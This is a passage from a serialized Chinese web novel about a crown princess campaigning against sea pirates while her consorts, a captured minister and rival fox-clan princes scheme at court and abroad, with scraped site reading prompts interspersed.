慕夜声打开信件,看到里面内容后瞳孔一缩。 他心神慌乱之下,顾不得在计较刚刚有人刻意传递信息给他的异常。 “寒松……他没死!” 慕夜声这次病倒之后好得格外慢,便是因为有心结。 寒松以及其余神医谷中人的惨死是慕夜声心底的一根刺。 就算亲手杀了月江离,报了血海深仇,那根刺拔出后,也在心脏留下了创伤。 每次午夜梦回,伙伴们惨死的场景一遍遍在梦中浮现,而他什么都做不了…… 这种无力感,折磨着慕夜声的神经。 现在,有人拿出了寒松佩戴的木簪,以及告诉他寒霜还活着的密信。 不管消息真假,哪怕有一丝的可能,他也要去验证究竟是不是真的。 慕夜声心神激荡下,胸腔发出剧烈的咳嗽声,宛如破旧的老风箱一般,呕哑啁哳难为听。 王权不弃皱眉,这事情摆明了是一场针对慕夜声的陷阱。 还是明晃晃的阳谋,就看慕夜声会不会心甘情愿踏入陷阱。 “慕兄,事情有蹊跷,我们还是从长计议。” 慕夜声却是半分也等不得了,他已经等待了太久太久。 他望向王权不弃,眼神坚定认真,一字一句道: “不弃兄,哪怕只有万分之一的可能性,我也不会放弃。” 王权不弃见状,知道拦不住慕夜声。 “慕兄,太女殿下若是知道你这般糟蹋自己的身子,回来后肯定会生气,你可想好了?” 这算是王权不弃这些日子能说过最长的话,慕夜声心中确实有所顾忌,但他不会为了君羲而放弃自己内心真实的想法,哪怕已经嫁给了君羲。 他有自己的坚持,也有自己想做的事情。 王权不弃和慕夜声有过多次过命的交情,彼此对视,都不必多说,便能明白对方心中最真实的想法。 慕夜声没有再说话,只是很坚定地朝王权不弃的方向点了下头。 他要去。 王权不弃沉默半响,终于点了点头。 “可,但我要一同。” 王权不弃身为暗阁杀手,第一信条便是要不计代价完成任务。 照顾慕夜声,是他承诺君羲,一定会做好的任务。 慕夜声浅笑,大手攥着信封的力道有些紧,信封都皱了,足以见他内心并不平静。 “好。” 顾景行身为储君正夫,君羲有意放权给他,这些日子,他跟在母亲身旁处理了不少繁琐杂事,忙得不可开交。 但他的精神状态却是肉眼可见好了起来,他之前被囚禁在东宫深处,郁郁寡欢不见笑颜的日子,如今想起来,竟有种恍如隔世的不真实感。 君明月为了计划顺利,特意去找了柳如风,又是一分拉扯献身,终于让柳如风松口帮她制造事端,引开顾景行的视线。 她揽着柳如风,腰间一阵酸软,眯起眼。 “如风,你确定万无一失?” 柳如风伸出手,一圈又一圈在女人心口打转。 “明月,你就放心吧,太女如今不在宫中,我行事要方便得多。” 君明月一直是不见兔子不撒鹰的主,如今柳如风把她的嘱咐办得漂亮,她心花怒放之下,竟然都忘记了对柳如风残花败柳身躯的嫌弃。 吧唧一口亲在他的侧脸,笑意盈盈。 “我就知道!如风,你最好了。” 柳如风情意绵绵,尾音上翘。 “殿下……” 柳如风心中也有私心,他和君明月共同祈求的胎果里面孕育的是一个千尊万贵的女娃。 但是,只要君羲在一日,这个孩子就不能顺利降生。 柳如风娇滴滴的眼底划过一抹阴狠,既然如此,为父则刚,太女殿下你可不要怪本宫狠毒! 无论是君明月上位,还是君明月和君羲斗得两败俱伤,他以皇太夫之位垂帘听政,辅佐女儿登基,余生,荣华富贵根本不愁。 柳如风选择的转移视线的方法便是去找老皇帝君澜。 一番惹火过后,故意不给她泻火。 然后,委屈巴巴地表示:他要照顾胎果,分身乏术,不能伺候好圣上。 “陛下,后宫中的哥哥弟弟们都是老面孔了,陛下也该充盈后宫了。” “后宫中多一些新面孔,我们的孩子出生后,看着这些青春的面孔也能够快乐地长大。” 柳如风说的话其实有很多逻辑问题,但说到了君澜的心坎上。 她一直想要选秀,只是君羲一直不曾答应,君澜心中害怕君羲发疯将她刀了。 可是,如今君羲远在南方,管不到玉京城。 柳如风不提还好,柳如风一提……君澜心里就直泛荡漾,想到那些青春的面孔和稚嫩的身段。 反正,她现在这玉京城中最大的,只要他想,选秀还不得提上日程? “朕的好风儿,朕怎么就那么喜欢你呢?你可真是太善解人意了。” “你放心,就算有新人入宫,朕也不会忘记了你,你才是朕心尖尖上的宝贝。” 柳如风嘴角直抽抽,心想你这老女人还真当他稀罕不成? 最好是赶紧把他忘了,他才好和君明月暗度陈仓,日日欢好! “陛下,有你这句话,如风就心满意足了。” 君澜第二天,便迫不及待召见顾景行母子。 御书房中,君澜坐在龙椅上,一双浑浊的老眼中满是淫邪。 她的好女儿,大凰太女可真是有眼光,挑的正夫真是万中都难以挑一的美男子。 顾景行被君澜的视线看得有些不舒服,他不动声色往顾青颖背后躲。 顾青颖心中也不满,君澜能够坐上皇帝位置,在她看来是走了狗屎运。 君澜居然用那种色眯眯的眼神看她的儿子,还是太女的正夫…… 由于心中不满,顾青颖开口时语气不自觉,便带了几分冲。 “陛下,眼前南方兵患,北方雪灾,大凰境内民不聊生。” “微臣负责监国,大事小事,要紧事、繁琐事,数不胜数!根本忙不过来,您召微臣前来究竟是为何?” “还请直说,不要浪费彼此的时间。” 君澜就像没有看见顾青颖难看的脸色一般,自顾自地搓着手,笑得一脸谄媚。 “爱卿,朕已有一年半未曾选秀,如今太女亲征南方,尚且未归。” “朕认为很有必要办一场盛大的选秀宴来祈福,以保佑太女平安归来。” 顾青颖此刻的心情就像当初君羲第一次听君澜提出选秀要求时一样无语。 遇事不决,拖字诀! 顾青颖并没有正面回答君澜,他端起一旁泡好的热茶,冉冉升起的热气朦胧了眉眼,愈发显得清绝儒雅。 “圣上,并不是微臣不愿意给你调拨银子,举办选秀宴……” “太女殿下出征之前,特意嘱咐了,不允许铺张浪费,尤其是选秀!” 君羲不在东宫,君澜已经是放飞自我,没什么好怕的,所以他开始无理取闹。 “朕不管,反正一定要选秀!” “这是命令!” 君澜死猪不怕开水烫,没脸没皮纠缠顾青颖。 “丞相,莫不是想抗旨不遵?” 顾青颖无法,只能一直和君澜打太极。 顾景行在顾青颖身后,可算是见识到了君澜的不要脸和放浪形骸。 若不是她身为大凰帝王,没人敢对她怎么样,这副浪荡的老色狼模样,早就被别人打断腿扔乱葬岗去了! 同君澜比起来,君羲简直不要太好了! 好歹,君羲的皮相是长得极好的。 顾青颖和顾景行成功被老皇帝君澜拖住脚步,君明月差点没控制住窃笑出声。 “风儿,你真棒,真不愧是本殿未来女儿的父亲。” 她抱着柳如风,又是一番云雨。 终于,柳如风不在发浪,君明月在柳如风看不到的角度里唇角上翘。心中暗道: 鱼儿,上钩了。 鱼儿,来信了! 君羲有些担心溟汐的处境,小醋鱼都回去这么多天了,都不曾给她送过只言片语。 终于,在第二天的清晨,枝头的桃花迎着朝阳,慢慢盛放时。 唲—— 君羲、东方凌、东方炽三人几乎同时睁眼。 君羲眼神发亮,一个鲤鱼打挺从床上坐了起来。 “阿元!” 天空中盘旋着一只展翅足有三米的雄鹰,正是之前君羲给东方炽、东方凌介绍的阿元。 君羲早早就准备好了兔子,这是给阿元的送信费。 只要阿元带来确切的消息,她便能立刻派兵前往南海深处,与溟汐里应外合,荡平倭寇,解救被掳走的大凰子民。 雄鹰停在她的手臂,她打开阿元绑在脚上的信筒,抽出里面的纸张,仔细查看一番。 “小醋鱼还怪可爱的。” 只见信纸的最右下角,画着一个简单的缩小版溟汐。 寥寥几笔,画得栩栩如生。 银发绿眸,圆乎乎的脸蛋既能看出是溟汐,又透出几分软萌可爱。 她默默将这张信纸展平放在胸膛内侧,这才安心。 “阿元,兔子!” 牢笼打开,三只兔子飞速窜出去。 阿元追了出去…… 君羲看着阿元追出去的身影,长久的沉默,她在思索溟汐信中的内容。 “暗礁……” 方位倒是有了,就是倭寇所居住的小岛四周,有凶险的暗礁,一不小心便可能触暗礁,导致船毁人亡。 “传孤命令,明日卯时出征,荡平倭寇!” 第103章 这真是弟妹? 溟汐在信中提到,倭寇所在岛屿是有四块小岛组成,外围是暗礁区,给岛屿提供了天然的防护。 倭寇的祖先世世代代耗费了巨大的代价,才摸清了暗礁的排布规律,并绘制成图纸,由皇室代代相传。 暗礁区不止暗礁密布,还有危险的漩涡状暗流,若是有船误入,不清楚正确的路线,定然是十死无生! 若没有溟汐的帮助,君羲会放弃讨伐。 并不是君羲冷血,而是为了救被掳走的少数人搭上大凰最精锐的军队并不值得。 况且,就算搭上了凤羽军,还不一定能救回来。 大凰王朝如今内忧外患,满地疮痍,根本经不起这样的损失。 万不得已的时候,君心身为大凰储君,肯定会选择保全大多数人。 不幸中的万幸,以上她所考虑的都不会发生,因为她有溟汐。 溟汐身为鲛人族最神秘、最强大的黑尾皇族血脉,大海把他视作宠儿。 倭寇祖辈用无数人命才查探清楚的暗礁和暗流的排布情况,溟汐带领一百族人,三天功夫便探查清楚了。 他在信中同君羲约定,十日后在倭寇居住的岛屿外汇合。 届时,他和族人自会为她们指引方向。 溟汐探出海面,隔着蔚蓝无边际的海朝漾州方向眺望。 “妻主,阿汐在这儿等你。” …… 卯时,天微亮。 君羲已经整理好着装,一身银甲,手握长枪,墨发高束。 天时地利人和。 既然优势全然在她,自然要一劳永逸,永绝后患。 以防倭寇没死绝,死灰复燃。 所以,这次除了镇守漾州,绥州必需的兵力外,其余凤羽军尽数随君羲出征。 上万艘战船挂上黑底龙纹战旗,战旗随着海风吹拂猎猎作响。 君羲站在大军最前方,身后便是排列整齐的九万大军。 “扬帆!” 迎着朝阳,船帆升起,君羲再次下令。 “登船!” 训练有素的军队有条不紊地登上战船,不多时,数万艘战船便朝着倭寇所在岛屿方向驶去。 浅金色的阳光洒在女人带着三分英气的眉眼上,或许是心有灵犀,君羲同样眺望着一望无际的蔚蓝海面。 望向溟汐指引的方向,隔着茫茫大海,她也想念溟汐了。 北方,岚州。 王紫汐听眼前过分俊朗的高大男子提起君羲,脑海中疯狂思索,太女殿下如今正在南方平定外敌,暂时摸不清楚对方有什么意图,不能暴露太女殿下真正行踪。 最好的办法就是……以假乱真,将错就错。 “你是何人?本……孤便是大凰太女,有何指教。” 王紫汐说这话时,心里一阵心虚。 事急从权,希望太女殿下日后知晓她今日冒充储君身份,不要追究他的僭越。 还好刚刚及时刹住了嘴,否则她就要露馅了。 涂山烈没有回答王紫汐,狐疑的视线上下扫视着王紫汐,他总感觉这位“储君”行为有些怪异,说话也不太自然。 而且,她看上去就不太像传闻中的那位暴戾太女。 气势太弱,整个人畏畏缩缩的,半点没有久居高位者的威严从容。 有诈。 涂山烈心里已经肯定王紫汐在说谎,但是,他此行也不能空手而归,能抓个大凰的高官作为人质,说不定会有意外的惊喜呢? 管她是不是太女,先抓了再说! 涂山烈做事就是这么简单粗暴。 “全部带走!” “是,王爷!” 王紫汐就一介文官,武功平平,根本反抗不了,至于其余的士兵早就中了狐族特有的幻术,如今也只能任人宰割。 涂山烈冷眼看着手底下将王紫汐一行人全部五花大绑,确保万无一失后,带着人返航。 涂山靖快气死了,他没想到,涂山烈此去不仅没有被强制带走,还将“太女”给抓回族中了。 传闻中,大凰太女身边有两支奇军,怎么这么废啊…… “确认消息属实?” 涂山靖很快恢复了平静,只是,他手中握着茶杯,用力到指骨泛白,暴露了他内心真实的情绪。 汇报消息的属下,艰难地吐出两个字。 “属实。” 说完便飞快低下的脑袋,生怕被暴露的王爷处罚。 咔擦—— 涂山靖硬生生将茶杯握碎了,滚烫的茶水烫红了他的手,他嘴角却依旧挂着一抹和煦的微笑,就仿佛一切都从未发生一样。 涂山靖还有闲心从怀中拿出一方手帕,细细擦手。 “行了,本王亲自去会一会皇弟和未来皇弟妹。” 正巧这时,他已经用手帕擦干净手,说完,他将手帕丢在那手下脸上,轻飘飘道: “下去吧。” 涂山靖心里实在好奇,涂山烈是如何将大凰太女抓回来的。 大凰太女这么容易就被抓了?总有一种不真实的荒诞感。 涂山烈为了以防万一,将王紫汐她们带回烈王府后,第一时间就给他们用了大量的软筋散,关进了地牢里。 本小章还未完,请点击下一页继续阅读后面精彩内容!此刻,涂山烈就在地牢中。 王紫汐身份不明,涂山烈是打算和大凰交好,而不是结仇,自然就不能用严刑拷打那一套。 或许,可以试试攻心。 涂山烈隔着牢门和王紫汐对视,男人眼中的威势太重,很快王紫汐便败下阵来,不自然地移开目光,紧盯着牢狱的地面。 王紫汐这样的表现让涂山烈心中更加确定,他抓了一个假货,眼前这人根本不是传言中的大凰太女,更不是他的未婚妻。 “王爷,靖王登门拜访。” 狐王已经老了,如今王位最有力的竞争者便是涂山烈和涂山靖二人。 早些时候,二人还有些兄弟情分,现在为了各自的利益,早就已经势同水火。 彼此都给对方下过套,最严重的一次涂山烈中了涂山靖的陷阱,险些命丧黄泉。 涂山烈厌恶地皱眉,无事不登三宝殿,涂山靖这个笑面虎来找他准没好事。 若是可以,真不想和这种当面一套,背地一套的人打交道。 “靖王怎么说?” “回王爷,靖王殿下说,他就是来看看未来弟妹。” 这话说出来骗鬼呢? 涂山烈手腕上戴着一串沉木串珠,木珠个个外表光滑,一看便是经常被主人把玩。 每当他心情烦躁时,便会拨动手腕上的木珠,平复心底烦躁的情绪。 “呵……” “走吧,请靖王进府。” 刚走到会客大厅,便听到一阵爽朗的笑声。 “哈哈哈,阿烈,本王听闻你这次可是将弟妹给带回来了。” 靖王看向涂山烈身后空空如也的位置,端着一副长辈的口吻,明知故问。 “阿烈啊,你也长大了,也是到了该娶妻的年纪了……怎么没见弟妹?” “难不成阿烈你是想金屋藏娇?弟妹究竟是怎样的绝色才值得阿烈你这般藏着掖着?” 他哥俩好般用手拍了拍涂山烈的肩膀。 “还不快快将弟妹带出来让王兄看看。” 涂山烈瞥了一眼放在肩膀上的手,微不可见地皱了下眉,侧开身子。 涂山靖的手滑落下去,他半点不带尴尬,还在那边挤眉弄眼,一副好奇弟妹长相,替弟弟着想的好兄长模样。 “阿烈,你就别害羞了,虽然弟妹……弟妹她身份特殊,但你也不能这般关着弟妹。” “好歹在咱们狐族,女孩子是需要细心呵护的。” 看来,今日不让涂山靖见到人,他是不会善罢甘休了。 涂山烈沉眉,嗓音低哑而富有磁性。 “皇兄你说笑了,既然皇兄如此好奇,那本王便带皇兄下去看看。” 涂山靖盯着涂山烈的眼睛,似乎想通过眼睛看出点什么,但他什么也没看到,只看到一望无际的黑。 他很快便扬唇笑了起来。 “好啊,本王可得替王弟好好把关,免得阿烈所嫁非人。” 这话可就是明晃晃的嘲讽了。 狐族男尊女卑,将男子入赘之事看作耻辱。 涂山靖故意提起这茬,便是想让涂山烈认清自己的身份,不过是一介即将远嫁的赘婿,有什么好嚣张的? 最好是放弃和他竞争狐王之位。 涂山烈周身冷了一个度,涂山靖还真是一如既往的讨厌。 嘴巴不会说话就别说了! 真想用针把涂山靖的嘴巴缝起来,看涂山靖还敢不敢在他面前狗吠。 “王兄还真是热心肠呢。” 涂山烈明明是在暗中讥讽涂山苏苏多管闲事,但涂山靖就像没听懂涂山烈言外之意般,笑呵呵催促涂山烈。 “阿烈,你是本王的弟弟,本王不关心你,还有谁会关心你?你就别跟本王客气了。” “对了,现在就带本王去见弟妹吧,事不宜迟,本王还给弟妹准备了见面礼。” 涂山烈比了个手势,他并不想暴露烈王府中地牢的布局,所以最好的办法便是让手底下的人将王紫汐带出来。 涂山烈心里憋着一口气,故意带着涂山靖在烈王府里兜圈圈。 直到涂山靖快要耐心耗尽时,这才带着他去了烈王府中最偏僻的一处院子。 院子名为寒院,杂草丛生,院门破败。 涂山烈用内力推开大门时,厚厚的灰尘扑面而来,涂山靖用衣袖挡住鼻子,嫌恶地往院中看去,同里面被绑在椅子上的王紫汐对视上了。 涂山靖心中一愣,不应该呀,涂山烈的未婚妻怎么可能是个老女人? “阿烈……这真是弟妹?” 喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。 第104章 太女殿下,你快回来 王紫汐听了这话,突然想起来,太女殿下还有一个威名远扬的未婚夫——狐族战神王爷,烈王。 她半眯着眼,仔细打量站在院外的两个年轻男子,其中,将她们绑来此处的男子气势和太女殿下一样可怕。 她心中暗道,难怪太女殿下强制狐族用烈王来联姻…… 若是烈王留在狐族,指不定会生出多大祸患,说不定会威胁到大凰边疆的安全。 狐族难得出一个战神,太女殿下可真是深谋远虑啊。 看来之前都是她误会太女殿下了,太女殿下才不是好色,而是牺牲自己,将烈王娶进东宫,放在眼皮子底下监视。 “你就是本王的弟妹?大凰储君?” 面对涂山靖的质问,王紫汐秉持着多说过错的想法,不做回答,冷着脸装作一副不想搭理他们的模样。 “哼。” 涂山靖最烦别人冷脸,眸中神色不明,语气带着寒意。 “王弟,女人可不能惯着。” “她这副冷脸,一看就不老实,嘴里面没有一句实话,你就没想过用狐族迷心术探听一二?” 涂山烈真的非常想回涂山靖一句,你家住海边啊,管这么宽? 现实中,他却是皮笑肉不笑,维持着表面脆弱的和平。 “王兄,本王自有主张。” “是么?王兄也只是担心你被女人骗了,阿烈,你可别怪王兄多管闲事。” “王兄可都是为了你好啊。” 涂山烈心中冷哼,呵呵,为了他好? 涂山靖口中所谓的为他好……便是让他长相俊朗的传言传到大凰,引起大凰储君注意,下旨让他联姻。 若是对他好是这样的好,他宁可不要。 他这个王兄,真是虚伪至极,令人作呕! “多谢王兄美意,若是这桩婚事真这样好,本王愿意将这婚事让与王兄。” 他低垂着眉眼,遮盖住眼中的冷嘲热讽。 “毕竟,本王也不忍王兄为了我……让步太多。” 涂山靖见实在打探不出什么,“太女”身份成迷,或许,今晚他可以潜入寒院,试探一二。 他从袖中拿出一个包装精致的檀木小盒,递给涂山烈,说道: “这便是本王给弟妹准备的礼物,阿烈,你可收好了。” “等你们正式大婚之时,本王定人会送上一份比这还要珍贵千百倍的成婚礼物。” 涂山靖很期待那一天的到来,只要涂山烈远嫁他国,他就没了最强劲的竞争对手。 其余的王兄王弟们,不过是一群酒囊饭袋,到了那个时候,王位对他而说唾手可得。 “弟妹也见了,礼物也送了,本王这便告辞。” 涂山烈敷衍回了一句。 “王兄慢走。” 目送涂山靖离开视线范围后,涂山烈转过头,视线陡然变得压迫感十足。 他死死盯着被捆在椅子上的王紫汐,靠近一步,嗓音不辨喜怒。 那双深邃黝黑的眸……就仿佛能看穿人心一般。 “本王知道你并不是大凰太女殿下。” 王紫汐瞳孔一缩,她本来以为自己的伪装天衣无缝,应该没人看得出端倪才对。 被涂山烈掳来后,她已经快六个时辰未成进食喝水。 故而,她的唇瓣有些苍白干裂,哑着声音道: “孤、孤不知道你在说什么。” 王紫汐决定咬死不认,她不能给太女殿下带去未知的危险。 “孤就是大凰太女,行不更名,坐不改姓,君羲就是孤!孤就是君羲!” 涂山烈点评。 “你的演技,错漏百出。” 王紫汐哑口无言,看来无论她说什么、做什么,涂山烈都已经认定她不是太女殿下。 她还不知道,狐族的观心之术,防不胜防。 王紫汐只听到一个好听的男声在她耳边蛊惑,这声音娓娓道来,不急不缓,有一种让人放松警惕的魔力。 “做个交易吧,只要你说出太女殿下如今在何处,本王便饶你们一命。” 王紫汐大脑思维跟着涂山烈走,周围的事物全都离她远去,脑海中只剩一句话:说出太女殿下去处。 太女去处…… 王紫汐潜意识里认定,太女行踪绝不能暴露,哪怕她死! 所以,涂山烈发现,王紫汐意识抵抗得很厉害,眉心都快皱成一个死结了。 在这么下去,王紫汐很可能成为一个傻子。 好不容易才抓到的人质,可不能就这么不明不白,轻易没了,涂山烈改变主意,决定换一个问题。 “忘记之前的指令。” 王紫汐眉心渐渐平缓,最终喃喃。 “忘记。” “现在,告诉我,你是谁?” 问她是谁? 这个问题没有涉及太女殿下的秘密,所以王紫汐轻而易举便被蛊惑着说出答案。 “我是户部尚书,王紫汐。” “很好,现在告诉本王,你为什么来岚州。” 王紫汐想了想,这个问题也好回答。 “赈灾。” 蛊惑一个人,最好的办法便是步步为营,一点一点卸下被蛊惑之人的心防。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!先从微不足道的边缘问题问起,降低被询问之人的警惕性,然后逐步向核心问题靠拢。 涂山烈已经通过王紫汐得到了想要的答案,他虽说不能将大凰境内的所有事情全都把控。 但在大事上还是能掌控重要消息,大凰境内就出现两件大事,一便是北方的雪灾,二便是南方的兵患。 既然太女不在北方,那便一定在南方。 不在啊…… 涂山烈拨动着檀木佛珠,让他好好想一想,该用什么样的办法才能诱使看中的猎物主动走进陷阱呢? 涂山烈解开对王紫汐的心神控制,转身就走。 王紫汐摇了摇脑袋,刚刚究竟发生了什么? 她貌似不知不觉间便丧失了意识,好像还有一个温柔的男声一直在指引她回答问题。 王紫汐后背发凉,刚刚她到底有没有透露出对太女殿下不利的消息? 她不确定。 她脸色一片颓败,这便是狐族的迷心术吗?果然名不虚传。 …… 玉京城,君澜凭借一己之力成功惹了文武百官众怒。 只要一有空,她便不依不饶,去堵顾青颖、顾景行以及朝中大臣的路。 撒泼耍赖皮,嚷嚷着要选秀,给君羲冲喜。 顾青颖母子俩烦不胜烦,根本没工夫关注皇宫内院之事。 君明月的谋算可算是顺利,她笑得牙不见眼,连带着对柳如风以及之前讨厌的贱种都顺眼了几分。 “如风,慕夜声和王权不弃成功出皇宫没?” “明月,我办事你还不放心吗?放心吧,他们二人都出了玉京城了。” 君明月笑得一脸阴险,玉京城毕竟是在天子脚下,她就算想做什么也有心无力。 但出了玉京城可就不一样了,想对付两个男子再简单不过。 她就是赌上自己手中所有能用的势力,也要报复君羲! 将君羲在意的人除去,好让她后悔对自己下毒。 就算到最后她难逃一死,也要让君羲的夫郎陪葬! “哈哈哈,君羲,可惜……” 可惜杀不了君羲,不然,最好的陪葬人应该是她嫡亲的皇长姐。 等顾景行抽出身来,才发现东宫中已经没了慕夜声、王权不弃的身影。 慕夜声和王权不弃同时失踪,他们二人的身份都不简单,都是太女的男人。 玉京城中,一时间兵荒马乱,草木皆兵。 但凡能够调用的兵力,都调用了,就是为了寻找他们二人的下落。 找了三天,才勉强得知慕夜声和王权不弃朝着北方而去。 “胡闹!” 顾景行没想到,他不过是被君澜缠住脱不了身,短短两三日,东宫中便少了两个侧夫。 就在他气愤之时,前朝又传来一个坏消息。 一波未平,一波又起。 顾青颖收到王紫汐被狐族掳走当人质时,已经过了七日。 没有了主事的钦差大臣,岚州、钦州、蔼州,三州赈灾事宜陷入了僵局。 顾青颖真的一个头两个大,偏偏君澜还不安分,时时刻刻叫嚣着要选秀。 甚至多年不曾上朝的她,居然破天荒地穿上龙袍,端坐在龙椅上。 想威逼文武百官,满足她选秀的需求。 文武百官内心是崩溃的,这时候她们不可避免地想起君羲在的时候…… 若是太女殿下还在玉京城中就好了。有太女殿下这尊杀神镇着,君澜根本不敢吱声。 “圣上,如今国库空虚,地方财政紧张,根本没有多余的银钱。” “朕不管!朕只要结果!” 顾青颖彻底恼了,一向儒雅温和的目光如利刃一般,直直扎向坐在龙椅上的君澜。 “圣上,还请不要无理取闹。” “你若是在这般胡闹下去,臣立刻手书一封,八百你加急,送去给太女殿下,告知你所有荒唐行为。” 君澜没想到顾青颖这么油盐不进,气得腾的一声站了起来。 “你!” 话既然已经说出口了,便没有收回的道理。 更何况,现在她要处理的烂摊子实在是太多了! 根本没有精力再来理会君澜的上蹿下跳。 “微臣言尽于此,圣上自行定夺。” 君澜气急败坏地在龙椅前走来走去,她没想到没了君羲,她说的话根本没人理会,下的令也无人会听。 “你们别忘了,朕才是大凰的帝王!” 顾青颖恭敬下跪,连带着文武百官全都跪下。 “是,您是。” “皇上万岁万岁万万岁。” 君澜得意,这还差不多,她旧事重提。 “那选秀?” “圣上自行决定。” 反正她们是不会帮忙的,就让君澜一个人瞎忙活去吧。 她们要写信给太女殿下,看看太女什么时候凯旋。 太女离开的第……不知道多少天,想念。 太女殿下,你快回来,管管你昏庸的母亲! 君澜傻乎乎的,还以为文武百官都答应了。 “算你们识相,平身吧!” 喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。 第105章 等孤找到你,定要打你屁股 王紫汐被掳,君澜闹幺蛾子,她的两个侧夫离宫去了北方,玉京城一片鸡飞狗跳…… 君羲对这些都一无所知,战船扬帆起航,她顺着溟汐的地图指引在茫茫无际的大海上航行。 “殿下,你别担心,汐公子智勇双全,定然会平安无事的。” 君羲的确有些担心溟汐,溟汐为了帮她,深入敌人腹地。 这可不是闹着玩的! 若是被倭寇发现,免不了一场血战。 溟汐身处敌方老巢,兵力上不占优势,偏偏她还需一段时间才能赶到倭寇所在聚集地,这让她如何能放心? 她比任何人都清楚,强大并不代表着无敌。 相反,强者往往承担着更多责任,会背负更多伤痛。 而她,不愿意溟汐受伤。 快一些,在快一些…… “加快速度!明早赶到目的地!” 以君羲对溟汐的了解,他为了自己可能会做出冒险的举动,越靠近地图地上描绘的终点,她心里越不安。 这种不安让君羲心里焦急,这种焦急……只有亲眼看到溟汐安然无恙才能够缓解。 “听孤号令,全军加速航行!” 呜—— 壮烈低沉的号角声悠扬在天地间回响,所有战船的帆鼓起弧度变大,浩浩荡荡加速前行。 另一边,君羲的担忧并没有错。 在等君羲带大军过来汇合的几天里,溟汐思前想后,还是决定亲自出马,打入敌人内部。 等君羲到了,同她里应外合,降低君羲遇到危险的几率。 而且,溟汐也做不到让自己心爱的女人去冲锋陷阵,他却只能在后方干看着。 比起躲在君羲的羽翼下,他更想和女人并肩作战! 溟汐不是一个优柔寡断的性子,既然心中下定了决心,就会毫不犹豫地执行。 一如他当年宁愿众叛亲离也要离开深海,去到君羲身边。 这一次,溟汐也会坚持自己内心的想法。 “靠,哪里来的美人?这脸蛋,太踏马绝了!” 溟汐伪装成虚弱无力的样子,银色的长发凌乱地堆积在脸侧,配上他那双宛若嫩芽被碎冰冻住的眸子,破碎绝美。 苍白的唇一看便是多日未曾进水,他声音嘶哑,一只手朝着那倭寇的方向伸出。 “救……命……,水,渴……” 那巡视的倭寇还算有些警惕,事出反常必有妖,他们这破岛何时有过长得这般惊为天人的男子? 不正常,很不正常! 溟汐声音越发无力,苍白的脸庞让他看上去就像一朵失去精心呵护而逐渐枯萎的花朵,碧眸里满是恳求。 “求……求求你。” “你,你怎么会出现在这里?” “水……” 那倭寇仍旧没放下心中的警惕,手中拿着水壶,一步一步缓慢靠近溟汐倒在地上的方向。 清水壶壶口倾泻,清水倾斜而下。湿沾润了沾湿的男人苍白的唇。 嫣红的舌尖飞快地舔舐着唇边的水,哪怕这水染上了沙子,也毫不在意。 倭寇这下彻底放下心来,看来真的是一个落难的人,恰巧来到他们岛屿下。 如若不然,怎么可能会愿意喝下沾了沙子的水? 还是那般急饮,狼吞虎咽的样子,任谁看了都会觉得是一个难民。 看来,今日合该她飞黄腾达! 天皇最是好色,若是将此绝色美男献上,好处还能少了? “嘿嘿……美人别怕,姐这就带你吃香的,喝辣的。” 鱼儿终于上钩,溟汐这才放心地晕过去。 等他醒过来,便发现自己双手被捆在身后,周围是干草和简陋的被褥,他貌似是在牢房。 溟汐活动脖子,立马便听到了锁链哗啦作响的声音,看样子,他的容貌还是引起了天皇的觊觎。 “我要见你们的天皇!” “美人还是乖乖在这牢房里呆着,好吃的,好喝的,都不会亏待你。” 天皇身份贵重,被天皇看中,是他的福气! 狱卒喝着小酒吃着小菜,已经在幻想自己飞黄腾达的日子了。 真是天降大饼,她没想到不过是闲着没事去海边瞎溜达,居然能捡到一个绝色美男,还入了天皇的眼! 说不准,等美男嫁给天皇那日,就是她升官发财之际! 她,就是未来牢狱长! 溟汐顺利混进倭寇内部,目的已经达到。 通过狱卒的呓语,溟汐提取关键信息,合理推测他现在所处位置极有可能是倭寇天皇所在的城池。 这就意味着,他可以开始计划了。 “啊~~” 空灵的鲛人歌声在牢狱中响起,就像有魔力一般,在空间里反复回荡,然后越传越远,直至覆盖整个地牢。 地牢的狱卒、囚犯以及看守地牢的倭寇士兵陷入了某种幻境中,溟汐轻而易举迷惑狱卒亲自给他打开牢门,大摇大摆在地牢中穿行。 在她们眼里,地牢却并无异常。 这样的大型幻术对身体是极大的负荷溟汐唇色都惨白了几分,但眼底神色却是跃跃欲试。 本小章还未完,请点击下一页继续阅读后面精彩内容!倭寇狡猾,且毫无人性。 若是羲羲强攻,那些被掳走的大凰百姓极有可能会被倭寇当做人质威胁。 战争是残酷的,溟汐见过驱赶手无寸铁的百姓在大军前面做挡箭牌的残酷战役。 羲羲想做一个明君,就不能背负残害子民的恶名。 溟汐计划先行潜入敌人内部,制造混乱,趁机救出被困的大凰百姓。 出了地牢,刺眼的阳光让他不自觉眯起眼,过了一会儿,才适应外面的环境。 他行走在大街小巷,发现自己的推测没错,那倭寇的确是将他带进了皇城。 也好,正好方便他行动! 溟汐唇角微翘,食指和拇指圈起,吹了一声呼哨。 传递的意思是他已经成功潜入,一切按照计划进行。 溟汐还不知道君羲的担忧,君羲已经打定主意,若是溟汐以身犯险,找到他之后,定要好好教训教训…… 此刻的天皇和大臣们正在开庆功宴,毕竟她们可是以多欺少,将大名鼎鼎的凤羽军打退了。 “呵呵呵……本皇看,那凤羽军根本就没有传闻中那般厉害,什么天下第一奇军,还不是被本皇的军队打得落花流水?” “天皇阁下英明!我看那大凰太女就是徒有虚名,根本就是个废物吧?哈哈哈。” 天皇宫殿,天皇坐在上首,满脸横肉,右眼处有一道伤疤横贯,让她看上去凶神恶煞。 溟汐悄无声息潜入宫中,就听到倭寇对君羲以及凤羽军的诋毁,登时就怒了,不过是一群盗匪海贼聚集,自立为王,行事野蛮,也配诋毁大凰储君? 溟汐扯着唇角笑了,狠狠咬牙,加大迷药用量,还不解气,又去厨房弄了些脏水混合进去。 反正待会这些人都会陷入幻境,感知到什么,全是他说了算。 至于那些被困的大凰百姓,溟汐之前传递的信号便是提供皇城方位,以及让手下营救他们。 手下鲛人虽然幻术没他这么登峰造极,但救大凰百姓,却是绰绰有余。 溟汐连续两次使用大型幻术,面色愈发苍白,喉间有铁锈味上涌,他抿唇,强忍。 直到所有酒坛里全部下好强效迷药,溟汐这才功成身退。 “汐殿下,火油、硫磺、硝石都准备好了。” 